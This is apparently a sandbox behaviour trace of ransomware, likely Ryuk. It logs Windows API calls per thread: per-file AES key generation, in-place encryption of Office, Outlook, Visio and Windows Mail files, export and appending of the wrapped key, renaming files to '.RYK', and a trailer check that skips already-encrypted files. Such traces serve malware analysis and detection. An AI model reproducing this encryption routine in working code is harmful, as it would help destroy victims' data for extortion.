	[0266.440] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x920f7e8 | out: lpFileSize=0x920f7e8*=131072) returned 1
	[0266.440] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x1fede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0266.440] ReadFile (in: hFile=0x918, lpBuffer=0x920f830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x920f7a0, lpOverlapped=0x0 | out: lpBuffer=0x920f830*, lpNumberOfBytesRead=0x920f7a0*=0x19, lpOverlapped=0x0) returned 1
	[0266.443] SetFilePointer (in: hFile=0x918, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0266.443] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x920f7b8 | out: phKey=0x920f7b8*=0x2b8ea0) returned 1
	[0266.443] SetFilePointer (in: hFile=0x918, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0266.443] ReadFile (in: hFile=0x918, lpBuffer=0x3090000, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x920f7c4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x920f7c4*=0x20000, lpOverlapped=0x0) returned 1
	[0266.445] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x920f7c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x920f7c0*=0xf4250) returned 1
	[0266.445] CryptEncrypt (in: hKey=0x2b8ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x920f7c8*=0x20000, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x920f7c8*=0x20010) returned 1
	[0266.446] SetFilePointer (in: hFile=0x918, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0266.446] WriteFile (in: hFile=0x918, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x20010, lpNumberOfBytesWritten=0x920f7c4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x920f7c4*=0x20010, lpOverlapped=0x0) returned 1
	[0266.448] WriteFile (in: hFile=0x918, lpBuffer=0x920f7f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x920f7d0, lpOverlapped=0x0 | out: lpBuffer=0x920f7f0*, lpNumberOfBytesWritten=0x920f7d0*=0x6, lpOverlapped=0x0) returned 1
	[0266.449] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x920f7e0 | out: pbData=0x0*, pdwDataLen=0x920f7e0*=0x10c) returned 1
	[0266.449] CryptExportKey (in: hKey=0x2b8ea0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x920f850, pdwDataLen=0x920f7e0 | out: pbData=0x920f850*, pdwDataLen=0x920f7e0*=0x10c) returned 1
	[0266.449] WriteFile (in: hFile=0x918, lpBuffer=0x920f850*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x920f7d0, lpOverlapped=0x0 | out: lpBuffer=0x920f850*, lpNumberOfBytesWritten=0x920f7d0*=0x10c, lpOverlapped=0x0) returned 1
	[0266.449] CloseHandle (hObject=0x918) returned 1
	[0266.451] CryptDestroyKey (hKey=0x2b8ea0) returned 1
	[0266.451] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3255
	os_tid = 0x31cc

	[0266.048] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", dwFileAttributes=0x80) returned 0
	[0266.048] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.048] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsd-{48508c83-ec67-468f-aa1f-6f3caf625658}.fsd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3268
	os_tid = 0x36e0

	[0266.049] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF", dwFileAttributes=0x80) returned 1
	[0266.654] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0266.654] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x8d9f9d8 | out: lpFileSize=0x8d9f9d8*=114) returned 1
	[0266.654] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x8d9f9e8 | out: lpFileSize=0x8d9f9e8*=114) returned 1
	[0266.654] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8d9f9b8 | out: phKey=0x8d9f9b8*=0x2b90d0) returned 1
	[0266.654] SetFilePointer (in: hFile=0x918, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0266.654] ReadFile (in: hFile=0x918, lpBuffer=0x2690000, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x8d9f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8d9f9c4*=0x72, lpOverlapped=0x0) returned 1
	[0266.657] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d9f9c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d9f9c0*=0xf4250) returned 1
	[0266.657] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8d9f9c8*=0x72, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8d9f9c8*=0x80) returned 1
	[0266.657] SetFilePointer (in: hFile=0x918, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0266.657] WriteFile (in: hFile=0x918, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x8d9f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8d9f9c4*=0x80, lpOverlapped=0x0) returned 1
	[0266.657] WriteFile (in: hFile=0x918, lpBuffer=0x8d9f9f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d9f9d0, lpOverlapped=0x0 | out: lpBuffer=0x8d9f9f0*, lpNumberOfBytesWritten=0x8d9f9d0*=0x6, lpOverlapped=0x0) returned 1
	[0266.657] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d9f9e0 | out: pbData=0x0*, pdwDataLen=0x8d9f9e0*=0x10c) returned 1
	[0266.658] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d9fa50, pdwDataLen=0x8d9f9e0 | out: pbData=0x8d9fa50*, pdwDataLen=0x8d9f9e0*=0x10c) returned 1
	[0266.658] WriteFile (in: hFile=0x918, lpBuffer=0x8d9fa50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d9f9d0, lpOverlapped=0x0 | out: lpBuffer=0x8d9fa50*, lpNumberOfBytesWritten=0x8d9f9d0*=0x10c, lpOverlapped=0x0) returned 1
	[0266.658] CloseHandle (hObject=0x918) returned 1
	[0266.659] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0266.659] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\fsf-ctbl.fsf.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3309
	os_tid = 0x389c

	[0266.664] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig", dwFileAttributes=0x80) returned 0
	[0266.664] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.665] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.665] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3310
	os_tid = 0x38a0

	[0266.666] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", dwFileAttributes=0x80) returned 0
	[0266.666] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.666] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3311
	os_tid = 0x38a4

	[0266.668] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf.RYK", dwFileAttributes=0x80) returned 1
	[0266.668] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0266.668] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x906fb78 | out: lpFileSize=0x906fb78*=1410) returned 1
	[0266.669] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x906fb88 | out: lpFileSize=0x906fb88*=1410) returned 1
	[0266.669] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x460, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0266.669] ReadFile (in: hFile=0x918, lpBuffer=0x906fbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x906fb40, lpOverlapped=0x0 | out: lpBuffer=0x906fbd0*, lpNumberOfBytesRead=0x906fb40*=0x19, lpOverlapped=0x0) returned 1
	[0266.671] CloseHandle (hObject=0x918) returned 1

Thread:
	id = 3312
	os_tid = 0x38a8

	[0266.672] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.RYK", dwFileAttributes=0x80) returned 1
	[0266.672] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0266.673] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x942f7d8 | out: lpFileSize=0x942f7d8*=466) returned 1
	[0266.673] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x942f7e8 | out: lpFileSize=0x942f7e8*=466) returned 1
	[0266.673] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0266.673] ReadFile (in: hFile=0x918, lpBuffer=0x942f830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x942f7a0, lpOverlapped=0x0 | out: lpBuffer=0x942f830*, lpNumberOfBytesRead=0x942f7a0*=0x19, lpOverlapped=0x0) returned 1
	[0266.675] CloseHandle (hObject=0x918) returned 1

Thread:
	id = 3313
	os_tid = 0x38ac

	[0266.676] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", dwFileAttributes=0x80) returned 0
	[0266.676] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.676] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.677] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3314
	os_tid = 0x38b0

	[0266.831] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat.RYK", dwFileAttributes=0x80) returned 1
	[0266.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.832] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x984fcf8 | out: lpFileSize=0x984fcf8*=101890) returned 1
	[0266.832] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x984fd08 | out: lpFileSize=0x984fd08*=101890) returned 1
	[0266.832] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x18ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0266.832] ReadFile (in: hFile=0x988, lpBuffer=0x984fd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x984fcc0, lpOverlapped=0x0 | out: lpBuffer=0x984fd50*, lpNumberOfBytesRead=0x984fcc0*=0x19, lpOverlapped=0x0) returned 1
	[0266.834] CloseHandle (hObject=0x988) returned 1

Thread:
	id = 3329
	os_tid = 0x38f0

	[0266.836] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK", dwFileAttributes=0x80) returned 1
	[0266.836] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.837] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x8c1fc98 | out: lpFileSize=0x8c1fc98*=128290) returned 1
	[0266.837] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x8c1fca8 | out: lpFileSize=0x8c1fca8*=128290) returned 1
	[0266.837] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x1f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0266.837] ReadFile (in: hFile=0x988, lpBuffer=0x8c1fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c1fc60, lpOverlapped=0x0 | out: lpBuffer=0x8c1fcf0*, lpNumberOfBytesRead=0x8c1fc60*=0x19, lpOverlapped=0x0) returned 1
	[0266.839] CloseHandle (hObject=0x988) returned 1

Thread:
	id = 3357
	os_tid = 0x3964

	[0268.213] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", dwFileAttributes=0x80) returned 0
	[0268.213] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.213] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3358
	os_tid = 0x3968

